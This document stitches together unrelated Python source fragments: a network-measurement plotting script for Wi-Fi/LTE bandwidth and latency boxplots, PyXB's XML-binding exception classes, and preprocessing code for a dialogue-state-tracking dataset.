recursive_key = recursive_key[len(separator):] subkeys = recursive_key.split(separator) for subkey in subkeys[:-1]: if insert_dicts and subkey not in nested_data: nested_data[subkey] = {} nested_data = nested_data[subkey] nested_data[subkeys[-1]] = value def update_recursive(nested_data, update_data, separator=".", insert_dicts=True): """Wrapper around :func:`set_recursive` to allow updating multiple values at once. It simply calls :func:`set_recursive` for each ``recursive_key, value in
import matplotlib.pyplot as plt import matplotlib import numpy as np import os import sys import errno from datetime import datetime from collections import OrderedDict from matplotlib.backends.backend_pdf import PdfPages from readcsv import readvalues_activelatencyboxplot, readvalues_activebandwidthboxplot, \ readvalues_activebandwidthlineplot, readbandwidthvalues_self, readbandwidthvalues_mim, \ readbandwidthvalues_mim_perclient, readlatencyvalues_noisemim, \ readbandwidthvalues_self_perclient, readbandwidthvalues_mim_perclient_usingfixbucket, \ readbandwidthvalues_mim_usingfixbucket _BOXPLOT_COLORS=['#F8B195', "#355C7D", '#C06C84', '#F67280', '#99B898', '#A8E6CE', '#E84A5F', '#A7226E', '#F7DB4F', "#FC913A", "#1bdc9d", "#9c5a4c", "#9c4c84", "#4c999c", '#F8B195', "#355C7D", '#C06C84', '#F67280', '#99B898', '#A8E6CE', '#F8B195', "#355C7D", '#C06C84', '#F67280', '#99B898', '#A8E6CE', '#F8B195', "#355C7D", '#C06C84', '#F67280', '#99B898', '#A8E6CE', '#F8B195', "#355C7D", '#C06C84', '#F67280', '#99B898', '#A8E6CE'] _WARNING = '\033[93m' _FAIL = '\033[91m' _RESET = '\033[0m' _LEGENDYPOS_1LINE = 1.15 _LEGENDYPOS_2LINE = 1.25 _LEGENDYPOS_4LINE = 1.40 _LEGENDYPOS_10LINE = 2.05 _LABEL_SIZE = 20 _TICK_SIZE = 20 _XLABEL_SIZE = 25 _YLABEL_SIZE = 25 _PASSIVEBANDWIDTH_CLIENTNOISEGROUPED_BASEFILEPATH = "bandwidthplot/clientnoisegrouped/" _PASSIVEBANDWIDTH_CLIENTNOISEANDSEGMENTGROUPED_BASEFILEPATH = "bandwidthplot/clientnoiseandsegmentgrouped/" _PASSIVEMIM_CLIENTFILEANDSEGMENTGROUPED_BASEFILEPATH = "bandwidthplot/fileandsegmentgrouped/mim/" _SELFMIMBANDWIDTH_CONNTYPEFILESERVERPOS_XNOISE_BASEFILEPATH = "bandwidthplot/conntypefileserverpos/x_noise/" _SELFMIMBANDWIDTH_CONNTYPEFILESERVERPOS_XCLIENTS_BASEFILEPATH = "bandwidthplot/conntypefileserverpos/x_clients/" _SELFMIMBANDWIDTH_CONNTYPESERVERPOSNUMCLIENT_BASEFILEPATH = "bandwidthplot/conntypeserverposnumclient/" _SELFMIMBANDWIDTH_CONNTYPESERVERPOSCROSSTRAFFIC_BASEFILEPATH = "bandwidthplot/conntypeserverposcrosstraffic/" _ACTIVELATENCY_COMMANDANDNOISEGROUPED_BASEFILEPATH= "latencyplot/commandandnoisegrouped/active/" _ACTIVELATENCY_SEGMENTANDNOISEGROUPED_BASEFILEPATH= "latencyplot/segmentandnoisegrouped/active/" _ACTIVELATENCY_CONNTYPEANDGROUPED_BASEFILEPATH= "latencyplot/contypeandnoisegrouped/active/" #ACTIVE BANDWIDTH PLOTS def bandwidthboxplot_active_conntypegrouped(config_parser, section, command, direction, ncol, legendypos, ylim): noiselist = config_parser.get(section, "noise").split(",") dateslist_wifi = config_parser.get(section, "dates_activewifi").split(",") dateslist_lte = config_parser.get(section, "dates_activelte").split(",") values = OrderedDict() title = command + "-" + direction folderpath = "bandwidth/active/boxplot_conntype/" ylabel = "Bandwidth (Mbps)" xlabel = "CrossTraffic (Mbps)" legendlabels = [] if direction == "Upstream": legendlabels.append("Wi-Fi: Access -> MEC") legendlabels.append("LTE: Access -> MEC") legendlabels.append("Wi-Fi: Access -> Cloud") legendlabels.append("LTE: Access -> Cloud") legendlabels.append("Wi-Fi: MEC -> Cloud") legendlabels.append("LTE: MEC -> Cloud") elif direction == "Downstream": legendlabels.append("Wi-Fi: MEC -> Access") legendlabels.append("LTE: MEC -> Access") legendlabels.append("Wi-Fi: Cloud -> Access") legendlabels.append("LTE: Cloud -> Access") legendlabels.append("Wi-Fi: Cloud -> MEC") legendlabels.append("LTE: Cloud -> MEC") elif direction == "both": legendlabels.append("Wi-Fi: Access -> MEC") #upstream legendlabels.append("LTE: Access -> MEC") #upstream legendlabels.append("Wi-Fi: MEC -> Access") #downstream legendlabels.append("LTE: MEC -> Access") #downstream legendlabels.append("Wi-Fi: Access -> Cloud") #upstream legendlabels.append("LTE: Access -> Cloud") #upstream legendlabels.append("Wi-Fi: Cloud -> Access") #downstream legendlabels.append("LTE: Cloud -> Access") #downstream legendlabels.append("Wi-Fi: MEC -> Cloud") #upstream legendlabels.append("LTE: MEC -> Cloud") #upstream legendlabels.append("Wi-Fi: Cloud -> MEC") #downstream legendlabels.append("LTE: Cloud -> MEC") #downstream else: print (_WARNING + "unknown direction: " + direction + _RESET) sys.exit(0) for noise in noiselist: values[noise] = [] if direction == "Upstream" or direction == "Downstream": #clientnitos wifi filename = "csv/active/" + command + "-" + direction + "-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientnitos lte filename = "csv/active/" + command + "-" + direction + "-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientUnipi wifi filename = "csv/active/" + command + "-" + direction + "-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #clientUnipi lte filename = "csv/active/" + command + "-" + direction + "-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #nitosunipi wifi filename = "csv/active/" + command + "-" + direction + "-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) #NITOS UNIPI lte filename = "csv/active/" + command + "-" + direction + "-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) elif direction == "both": #clientnitos wifi Upstream filename = "csv/active/" + command + "-Upstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientnitos lte Upstream filename = "csv/active/" + command + "-Upstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientnitos wifi downstream filename = "csv/active/" + command + "-Downstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientnitos lte Downstream filename = "csv/active/" + command + "-Downstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) #clientUnipi wifi upstream filename = "csv/active/" + command + "-Upstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #clientUnipi lte Upstream filename = "csv/active/" + command + "-Upstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #clientUnipi wifi downstream filename = "csv/active/" + command + "-Downstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #clientUnipi lte Downstream filename = "csv/active/" + command + "-Downstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) #nitosunipi wifi Upstream filename = "csv/active/" + command + "-Upstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) #NITOS UNIPI lte Upstream filename = "csv/active/" + command + "-Upstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) #nitosunipi wifi Downstream filename = "csv/active/" + command + "-Downstream-wifi-noise" + noise + "_" filename += dateslist_wifi[0].strip() + "-" + dateslist_wifi[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) #NITOS UNIPI lte Downstream filename = "csv/active/" + command + "-Downstream-lte-noise" + noise + "_" filename += dateslist_lte[0].strip() + "-" + dateslist_lte[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) else: print ("unknown directioniji") print(direction) sys.exit(0) if len(values) == 0: print (_WARNING + "No data for file " + filename + _RESET) return createfolder(folderpath) drawboxplot(folderpath, title+"_showFliers=False", values, legendlabels, ylim, ylabel, xlabel, show_fliers=False, numcolumn = ncol, legendpos=legendypos) ylim += 300 drawboxplot(folderpath, title, values, legendlabels, ylim, ylabel, xlabel, show_fliers=True, numcolumn = ncol, legendpos=legendypos) def bandwidthboxplot_active(config_parser, section, command, direction, connectiontype, ylim, legendypos, legendlabels=None): noiselist = config_parser.get(section, "noise").split(",") if connectiontype == "wifi": dateslist = config_parser.get(section, "dates_activewifi").split(",") elif connectiontype == "lte": dateslist = config_parser.get(section, "dates_activelte").split(",") values = OrderedDict() title = command + "-" + direction + "-" + connectiontype folderpath = "bandwidth/active/boxplot/" + connectiontype + "/" ylabel = "Bandwidth (Mbps)" xlabel = "Cross-traffic (Mbps)" if legendlabels == None: legendlabels = [] if direction == "Upstream": legendlabels.append("Access -> MEC") legendlabels.append("Access -> Cloud") legendlabels.append("MEC -> Cloud") elif direction == "Downstream": legendlabels.append("MEC -> Access") legendlabels.append("Cloud -> Access") legendlabels.append("Cloud -> MEC") else: print ("unknown direction") sys.exti(0) for noise in noiselist: values[noise] = [] filename = "csv/active/" + command + "-" + direction + "-" + connectiontype + "-noise" + noise + "_" filename += dateslist[0].strip() + "-" + dateslist[-1].strip() + ".csv" values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientNitos")) values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "clientUnipi")) if len(legendlabels) == 3: values[noise].append(readvalues_activebandwidthboxplot(filename, int(noise.replace("M", "")), "NitosUnipi")) if len(values) == 0: print (_WARNING + "No data for file " + filename + _RESET) return createfolder(folderpath) #draw plot without fliers show_fliers = False ncol = len(legendlabels) drawboxplot(folderpath, title+"_2", values, legendlabels, ylim, ylabel, xlabel, show_fliers, ncol, legendypos) #drawplot with fliers ylim += 300 show_fliers = True drawboxplot(folderpath, title, values, legendlabels, ylim, ylabel, xlabel, show_fliers, ncol, legendypos) #ACTIVE LATENCY PLOTS def latencyboxplot_active_commandgrouped(config_parser, section, direction, connectiontype, ylim, legendypos): noiselist = config_parser.get(section, "noise").split(",") dateslist_wifi = config_parser.get(section, "dates_activewifi").split(",") dateslist_lte = config_parser.get(section, "dates_activelte").split(",") if connectiontype == "wifi": dateslist = dateslist_wifi elif connectiontype == "lte": dateslist = dateslist_lte values = OrderedDict() title = direction + "-" + connectiontype folderpath = _ACTIVELATENCY_COMMANDANDNOISEGROUPED_BASEFILEPATH ylabel = "Latency (ms)" xlabel = "CrossTraffic (Mbps)" legendlabels = [] if direction == "Upstream" and connectiontype != "both": legendlabels.append("TCPRTT: Access -> MEC") legendlabels.append("UDPRTT: Access -> MEC") legendlabels.append("TCPRTT: Access -> Cloud") legendlabels.append("UDPRTT: Access -> Cloud") legendlabels.append("TCPRTT: MEC -> Cloud") legendlabels.append("UDPRTT: MEC -> Cloud") elif direction == "Downstream" and connectiontype != "both": legendlabels.append("TCPRTT: MEC -> Access") legendlabels.append("UDPRTT: MEC -> Access") legendlabels.append("TCPRTT: Cloud -> Access") legendlabels.append("UDPRTT: Cloud -> Access") legendlabels.append("TCPRTT: Cloud -> MEC") legendlabels.append("UDPRTT: Cloud -> MEC") elif direction == "Upstream" and connectiontype == "both": legendlabels.append("TCPRTT Wi-Fi: Access -> MEC") legendlabels.append("TCPRTT LTE: Access -> MEC") legendlabels.append("UDPRTT Wi-Fi: Access -> MEC") legendlabels.append("UDPRTT LTE: Access -> MEC") legendlabels.append("TCPRTT Wi-Fi: Access -> Cloud") legendlabels.append("TCPRTT LTE: Access -> Cloud") legendlabels.append("UDPRTT Wi-Fi: Access -> Cloud") legendlabels.append("UDPRTT LTE: Access
<gh_stars>1-10 # -*- coding: utf-8 -*- # Copyright 2009-2013, <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain a # copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Extensions of standard exceptions for PyXB events. Yeah, I'd love this module to be named exceptions.py, but it can't because the standard library has one of those, and we need to reference it below. """ import pyxb from pyxb.utils import six class PyXBException (Exception): """Base class for exceptions that indicate a problem that the user should fix.""" """The arguments passed to the exception constructor.""" _args = None """The keywords passed to the exception constructor. @note: Do not pop values from the keywords array in subclass constructors that recognize and extract values from them. They should be kept around so they're accessible generically.""" _kw = None def __init__ (self, *args, **kw): """Create an exception indicating a PyXB-related problem. If no args are present, a default argument is taken from the C{message} keyword. @keyword message : Text to provide the user with information about the problem. """ if 0 == len(args) and 'message' in kw: args = (kw.pop('message'),) self._args = args self._kw = kw super(PyXBException, self).__init__(*args) if six.PY2: def _str_from_unicode (self): return unicode(self).encode(pyxb._OutputEncoding) class PyXBVersionError (PyXBException): """Raised on import of a binding generated with a different version of PYXB""" pass class DOMGenerationError (PyXBException): """A non-validation error encountered converting bindings to DOM.""" pass @six.unicode_convertible class UnboundElementError (DOMGenerationError): """An instance converting to DOM had no bound element.""" instance = None """The binding instance. This is missing an element binding (via L{pyxb.binding.basis._TypeBinding_mixin._element}) and no C{element_name} was passed.""" def __init__ (self, instance): super(UnboundElementError, self).__init__(instance) self.instance = instance def __str__ (self): return six.u('Instance of type %s has no bound element for start tag') % (self.instance._diagnosticName(),) class SchemaValidationError (PyXBException): """Raised when the XML hierarchy does not appear to be valid for an XML schema.""" pass class NamespaceError (PyXBException): """Violation of some rule relevant to XML Namespaces""" def __init__ (self, namespace, *args, **kw): PyXBException.__init__(self, *args, **kw) self.__namespace = namespace def namespace (self): return self.__namespace class NamespaceArchiveError (PyXBException): """Problem related to namespace archives""" pass class SchemaUniquenessError (PyXBException): """Raised when somebody tries to create a schema component using a schema that has already been used in that namespace. Import and include processing would have avoided this, so somebody asked for it specifically.""" def __init__ (self, namespace, schema_location, existing_schema, *args, **kw): super(SchemaUniquenessError, self).__init__(*args, **kw) self.__namespace = namespace self.__schemaLocation = schema_location self.__existingSchema = existing_schema def namespace (self): return self.__namespace def schemaLocation (self): return self.__schemaLocation def existingSchema (self): return self.__existingSchema class BindingGenerationError (PyXBException): """Raised when something goes wrong generating the binding classes""" pass class NamespaceUniquenessError (NamespaceError): """Raised when an attempt is made to record multiple objects of the same name in the same namespace category.""" pass class NotInNamespaceError (PyXBException): '''Raised when a name is referenced that is not defined in the appropriate namespace.''' __namespace = None __ncName = None class QNameResolutionError (NamespaceError): '''Raised when a QName cannot be associated with a namespace.''' namespaceContext = None qname = None def __init__ (self, message, qname, xmlns_context): self.qname = qname self.namespaceContext = xmlns_context super(QNameResolutionError, self).__init__(message, qname, xmlns_context) class BadDocumentError (PyXBException): """Raised when processing document content and an error is encountered.""" pass class StructuralBadDocumentError (BadDocumentError): """Raised when processing document and the content model is not satisfied.""" @property def element_use (self): """The L{pyxb.binding.content.ElementDeclaration} instance to which the content should conform, if available.""" return self.__elementUse @property def container (self): """The L{pyxb.binding.basis.complexTypeDefinition} instance to which the content would belong, if available.""" return self.__container @property def content (self): """The value which could not be reconciled with the content model.""" return self.__content def __init__ (self, *args, **kw): """Raised when processing document and the content model is not satisfied. @keyword content : The value that could not be reconciled with the content model @keyword container : Optional binding instance into which the content was to be assigned @keyword element_use : Optional reference to an element use identifying the element to which the value was to be reconciled """ self.__content = kw.pop('content', None) if args: self.__content = args[0] self.__container = kw.pop('container', None) self.__elementUse = kw.pop('element_use', None) if self.__content is not None: if self.__container is not None: kw.setdefault('message', '%s cannot accept wildcard content %s' % (self.__container._Name(), self.__content)) elif self.__elementUse is not None: kw.setdefault('message', '%s not consistent with content model for %s' % (self.__content, self.__elementUse)) else: kw.setdefault('message', six.text_type(self.__content)) BadDocumentError.__init__(self, **kw) class UnrecognizedDOMRootNodeError (StructuralBadDocumentError): """A root DOM node could not be resolved to a schema element""" node = None """The L{xml.dom.Element} instance that could not be recognized""" def __get_node_name (self): """The QName of the L{node} as a L{pyxb.namespace.ExpandedName}""" import pyxb.namespace return pyxb.namespace.ExpandedName(self.node.namespaceURI, self.node.localName) node_name = property(__get_node_name) def __init__ (self, node): """@param node: the value for the L{node} attribute.""" self.node = node super(UnrecognizedDOMRootNodeError, self).__init__(node) class ValidationError (PyXBException): """Raised when something in the infoset fails to satisfy a content model or attribute requirement. All validation errors include a L{location} attribute which shows where in the original XML the problem occurred. The attribute may be C{None} if the content did not come from an XML document, or the underlying XML infrastructure did not provide a location. More refined validation error exception classes add more attributes.""" location = None """Where the error occurred in the document being parsed, if available. This will be C{None}, or an instance of L{pyxb.utils.utility.Location}.""" def details (self): """Provide information describing why validation failed. In many cases, this is simply the informal string content that would be obtained through the C{str} built-in function. For certain errors this method gives more details on what would be acceptable and where the descriptions can be found in the original schema. @return: a string description of validation failure""" return six.text_type(self) @six.unicode_convertible class NonElementValidationError (ValidationError): """Raised when an element (or a value bound to an element) appears in context that does not permit an element.""" element = None """The content that is not permitted. This may be an element, or a DOM representation that would have been made into an element had matters progressed further.""" def __init__ (self, element, location=None): """@param element: the value for the L{element} attribute. @param location: the value for the L{location} attribute. """ self.element = element if (location is None) and isinstance(element, pyxb.utils.utility.Locatable_mixin): location = element._location() self.location = location super(NonElementValidationError, self).__init__(element, location) def __str__ (self): import pyxb.binding.basis import xml.dom value = '' boundto = '' location = '' if isinstance(self.element, pyxb.binding.basis._TypeBinding_mixin): eb = self.element._element() boundto = '' if eb is not None: boundto = ' bound to %s' % (eb.name(),) if isinstance(self.element, pyxb.binding.basis.simpleTypeDefinition): value = self.element.xsdLiteral() elif self.element._IsSimpleTypeContent(): value = six.text_type(self.element.value()) else: value = 'Complex value' elif isinstance(self.element, xml.dom.Node): value = 'DOM node %s' % (self.element.nodeName,) else: value = '%s type %s' % (six.text_type(self.element), type(self.element)) if self.location is not None: location = ' at %s' % (self.location,) return six.u('%s%s not permitted%s') % (value, boundto, location) class ElementValidationError (ValidationError): """Raised when a validation requirement for an element is not satisfied.""" pass @six.unicode_convertible class AbstractElementError (ElementValidationError): """Attempt to create an instance of an abstract element. Raised when an element is created and the identified binding is abstract. Such elements cannot be created directly; instead the creation must derive from an instance of the abstract element's substitution group. Since members of the substitution group self-identify using the C{substitutionGroup} attribute, there is no general way to find the set of elements which would be acceptable in place of the abstract element.""" element = None """The abstract L{pyxb.binding.basis.element} in question""" value = None """The value proposed for the L{element}. This is usually going to be a C{xml.dom.Node} used in the attempt to create the element, C{None} if the abstract element was invoked without a node, or another
key.split('_') frame['nonCate_slot_key_words'] = set(frame['nonCate_slot_key_words']) frame['Cate_slot_key_words'] = [] for key in frame['slots_Cate']: frame['Cate_slot_key_words'] += key.split('_') frame['Cate_slot_key_words'] = set(frame['Cate_slot_key_words']) frame['request_slot_key_words'] = [] for key in frame['slots_request']: frame['request_slot_key_words'] += key.split('_') frame['request_slot_key_words'] = set(frame['request_slot_key_words']) frame['slot_key_words'] = frame['nonCate_slot_key_words'] | \ frame['Cate_slot_key_words'] | frame['request_slot_key_words'] if turn['speaker'] == 'USER': turn['uttr_with_sys'] = 'sys : ' +last_sys_turn['utterance'] + ' usr : ' \ + turn['utterance'] # turn['default_tags'], turn['uttr_tokenized'] = self.default_tags(turn['utterance']) turn['default_tags'], turn['uttr_tokenized'] = self.default_tags(turn['uttr_with_sys']) turn['state_slots_history'] = copy.deepcopy(state_slots_history) turn['frame_slots_history'] = copy.deepcopy(frame_slots_history) turn['sys_request_slot'] = copy.deepcopy(sys_request_slot) turn['sys_slot_provide'] = copy.deepcopy(sys_slot_provide) for frame_id in turn['frames']: _schema = schemas[frame_id] frame = turn['frames'][frame_id] frame['slots_nonCate'] = copy.deepcopy(frame['slots']) # update slots_nonCate from self-user_turn for slot_name in frame['slots_nonCate']: slot = frame['slots_nonCate'][slot_name] slot['from_sys'] = False state_slots = set([key for key in frame['state']['slot_values']]) nonCate_slots = set([key for key in frame['slots']]) # slots_tmp = state_slots - state_slots_history[frame_id] - nonCate_slots slots_tmp = [] slots_cross_api = {} for k in list(state_slots - nonCate_slots): if k not in frame_slots_history[frame_id] and not _schema['slots'][k]['is_categorical']: copy_flag = False for frame_id_pre in frame_slots_history: if frame_id_pre == frame_id: continue for k_pre in frame_slots_history[frame_id_pre]: if len(set(frame['state']['slot_values'][k])&set(frame_slots_history[frame_id_pre][k_pre]))>0: if k not in slots_cross_api: slots_cross_api[k] = {} slots_cross_api[k][frame_id_pre, k_pre] = '' print('### slot cross-copied from history!') print(_dial['file_name']) print(k, frame_id_pre, k_pre) print(turn['utterance']) copy_flag = True total_slotCross += 1 continue if copy_flag: continue if copy_flag: continue if k not in state_slots_history[frame_id]: slots_tmp.append(k) continue if len(set(frame['state']['slot_values'][k])&set(state_slots_history[frame_id][k]))==0: slots_tmp.append(k) # if len(state_slots_history[frame_id] - state_slots)>0: # print('###history slots not in states!') # print(_dial['file_name']) # print(turn['utterance']) cate_slots = {} slots_notCare = {} for key in slots_tmp: slot_values = frame['state']['slot_values'][key] if slot_values[0] == 'dontcare': slots_notCare[key] = 'dontcare' print('### slot is dontcare!') print(_dial['file_name']) print(key, slot_values) print(turn['utterance']) if _schema['slots'][key]['is_categorical']: cate_slots[key] = {} if key in sys_slot_provide[frame_id]: if len(set(slot_values) & set(sys_slot_provide[frame_id][key][0]))>0 \ and sys_slot_provide[frame_id][key][1] != 'REQUEST': total_slotsCopy += 1 cate_slots[key]['from_sys'] = True print('### categorical slot from sys action!', sys_slot_provide[frame_id][key][1]) print(_dial['file_name']) print(key, frame['state']['slot_values'][key]) print(turn['utterance']) else: cate_slots[key]['from_sys'] = False else: cate_slots[key]['from_sys'] = False else: if key in sys_slot_provide[frame_id]: if len(set(slot_values) & set(sys_slot_provide[frame_id][key][0]))>0: total_slotsCopy += 1 frame['slots_nonCate'][key] = {} frame['slots_nonCate'][key]['from_sys'] = True print('### non_categorical slot from sys action!', sys_slot_provide[frame_id][key][1]) print(_dial['file_name']) print(key, frame['state']['slot_values'][key]) print(turn['utterance']) else: print('### missing non_categorical slot, not from usr or sys!') print(_dial['file_name']) print(key, frame['state']['slot_values'][key]) print(turn['utterance']) state_slots_history[frame_id] = copy.deepcopy(frame['state']['slot_values']) for k in state_slots_history[frame_id]: frame_slots_history[frame_id][k] = copy.deepcopy(state_slots_history[frame_id][k]) turn['frames'][frame_id]['cate_slots'] = copy.deepcopy(cate_slots) turn['frames'][frame_id]['slots_notCare'] = copy.deepcopy(slots_notCare) turn['frames'][frame_id]['slots_cross_api'] = copy.deepcopy(slots_cross_api) for k in slots_cross_api: total_slotCross_check += len(slots_cross_api[k]) for slot_name in frame['slots_nonCate']: slot = frame['slots_nonCate'][slot_name] # assert len(frame['state']['slot_values'][slot['slot']]) == 1 # if len(frame['state']['slot_values'][slot['slot']]) > 1: # print(frame['state']['slot_values'][slot['slot']]) if slot['from_sys']: continue tagged_slot_not_in_state = False if slot['slot'] not in frame['state']['slot_values']: print('###tagged_slot_not_in_state') print(_dial['file_name']) print(slot['slot']) print(turn['utterance']) tagged_slot_not_in_state = True if not tagged_slot_not_in_state: slot_value = frame['state']['slot_values'][slot['slot']] slot_value = [key.lower() for key in slot_value] pos_offset = len('sys : ' +last_sys_turn['utterance'] + ' usr : ') p1 = slot['start'] + pos_offset p2 = slot['exclusive_end'] + pos_offset slot_string_ori, \ slot_string_temp, \ slot_string_tokenized, \ slot_string_BertTokenized, \ tag_list_tokenized, \ tag_list_BertTokenized, \ uttr_words_BertTokenized, \ start, end = \ self.charIdx2wordIdx_v1(turn['uttr_with_sys'], p1, p2) tagged_slot_not_same_with_stateValue = False if slot_string_ori.lower() not in slot_value and (not tagged_slot_not_in_state): print('###tagged_slot_not_same_with_stateValue') print(_dial['file_name']) print(slot_value, slot_string_ori) print(turn['utterance']) tagged_slot_not_same_with_stateValue = True # if slot_string_ori != slot_string_tokenized: # print(slot_string_ori+' -> '+slot_string_temp+' -> '\ # +slot_string_tokenized+' -> '+ slot_string_BertTokenized) slot['slot_tags'] = tag_list_BertTokenized # print(turn['uttr_with_sys_tokenized']) # print(tag_list_BertTokenized) slot['start'] = start slot['end'] = end frame['nonCate_slot_key_words'] = [] for key in frame['slots_nonCate']: frame['nonCate_slot_key_words'] += key.split('_') frame['nonCate_slot_key_words'] = set(frame['nonCate_slot_key_words']) frame['Cate_slot_key_words'] = [] for key in frame['cate_slots']: frame['Cate_slot_key_words'] += key.split('_') frame['Cate_slot_key_words'] = set(frame['Cate_slot_key_words']) frame['request_slot_key_words'] = [] for key in frame['state']['requested_slots']: frame['request_slot_key_words'] += key.split('_') frame['request_slot_key_words'] = set(frame['request_slot_key_words']) frame['slot_key_words'] = frame['nonCate_slot_key_words'] | \ frame['Cate_slot_key_words'] | frame['request_slot_key_words'] return dials def prepate_data(self, dials, schemas): data = {} for dialogue_id in dials: _dial = dials[dialogue_id] if _dial['services'][0] not in schemas: print(_dial['services'][0], ' not in schemas! ', path) continue # _schema = schemas[_dial['services'][0]] # single_api _data = [] for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': continue if _turn['speaker'] == 'USER': uttr_tokenized = _turn['uttr_tokenized'] for frame_id in _turn['frames']: _schema = schemas[frame_id] _frame = _turn['frames'][frame_id] for slot_name in _schema['slots']: slot_prior = True slot_info = _schema['slots'][slot_name] # slot_desp_tokenized = slot_info['description_tokenized'] # slot_desp_tokenized = slot_info['description_tokenized_simple'] slot_desp_tokenized = slot_info['description_tokenized_simple'] + ['#']\ + slot_info['description_tokenized'] slot_categorical = _schema['slots'][slot_name]['is_categorical'] slot_in_sys_his = slot_name in _turn['sys_slot_provide'][frame_id] # if slot_categorical: # slot_in_sys_his = slot_name in _turn['sys_slot_provide'][frame_id] # else: # slot_in_sys_his = False slot_requested_by_sys = slot_name in _turn['sys_request_slot'][frame_id] slot_in_usr_his = None cateVal_idx = 0 tag_list_tokenized = _turn['default_tags'] start = len(tag_list_tokenized) end = len(tag_list_tokenized) slot_type = 3 _data.append([dialogue_id, frame_id, _turn['speaker'], _turn['utterance'], \ slot_name, slot_categorical, slot_prior,\ slot_in_usr_his, slot_in_sys_his, slot_requested_by_sys,\ uttr_tokenized, slot_desp_tokenized, slot_info['possible_values_tokenized'],\ slot_type, tag_list_tokenized, start, end, cateVal_idx]) api_service = _dial['services'][0] if api_service not in data: data[api_service] = {} data[api_service][dialogue_id] = _data return data # intents def prepare_intents(self, dials, schemas): data = {} for dialogue_id in dials: _dial = dials[dialogue_id] # if _dial['services'][0] not in schemas: # print(_dial['services'][0], ' not in schemas! ', path) # continue # _schema = schemas[_dial['services'][0]] # single_api _data = [] last_intent = {} last_frames = {} for frame_id in _dial['services']: last_intent[frame_id] = '' intents = {} intents_desp = {} for frame_id in _dial['services']: _schema = schemas[frame_id] intents[frame_id] = [] intents_desp[frame_id] = [] for intent in _schema['intents']: intents[frame_id].append(intent) intents_desp[frame_id].append(_schema['intents'][intent]['description_tokenized'] \ + ['#'] + _schema['intents'][intent]['description_tokenized_simple']) intents_desp[frame_id].append(['none']) intents[frame_id].append('none') turn_id = 0 for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': continue if _turn['speaker'] == 'USER': frames = {} for frame_id in _turn['frames']: frames[frame_id] = '' if frames == last_frames: uttr_tokenized = ['keep', '[SEP]'] + _turn['uttr_tokenized'] else: uttr_tokenized = ['jump', '[SEP]'] + _turn['uttr_tokenized'] last_frames = copy.deepcopy(frames) for frame_id in _turn['frames']: _schema = schemas[frame_id] frames[frame_id] = '' _frame = _turn['frames'][frame_id] last_intent_tag = [0]*len(intents[frame_id]) 